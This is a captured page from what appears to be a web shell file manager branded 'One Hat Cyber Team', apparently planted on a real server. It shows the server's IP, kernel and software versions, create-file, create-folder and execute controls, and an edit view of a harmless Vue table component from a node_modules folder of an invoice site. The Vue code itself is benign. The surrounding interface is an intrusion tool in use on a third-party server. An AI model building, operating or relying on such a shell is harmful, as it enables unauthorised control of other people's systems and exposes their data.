⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.1
Server IP:
185.238.29.86
Server:
Linux server2 6.8.12-6-pve #1 SMP PREEMPT_DYNAMIC PMX 6.8.12-6 (2024-12-19T19:05Z) x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.31
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
invoice
/
node_modules
/
v-tooltip
/
docs-src
/
Edit File: PageTable.vue
<template> <table> <thead> <th v-for="(header, index) of tableHeaders" :key="index">{{ header }}</th> </thead> <tbody> <tr v-for="(row, index) of tableData" :key="index"> <td v-for="(data, i) of row" :key="i" v-tooltip="{ content: data, delay: 0, classes: ['no-transition'] }" > {{ data }} </td> </tr> </tbody> </table> </template> <script> import faker from 'faker' let rows = 10 let cols = 10 let tableHeaders = Array.from({ length: cols }).map( i => faker.random.word().toLowerCase() ) let getTableData = () => Array.from({ length: rows }).map(i => { let date = new Date(faker.date.past()) return [ i, faker.address.city(), faker.company.companyName(), faker.date.month(), date.getYear() + 1900, faker.address.country(), faker.hacker.noun(), faker.random.number(), faker.random.number(), faker.random.word(), ] }) export default { data () { return { tableHeaders, tableData: getTableData(), } }, } </script> <style scoped> table, tr, th, td { padding: 5px; border-collapse: collapse; border: 0px; } thead, th { border-bottom: 1px solid #505050; background-color: #585858; color: #f8f8f8; } tr:nth-child(even) { background-color: #e6e6e6; } tr:nth-child(odd) { background-color: #f8f8f8; } </style>
Simpan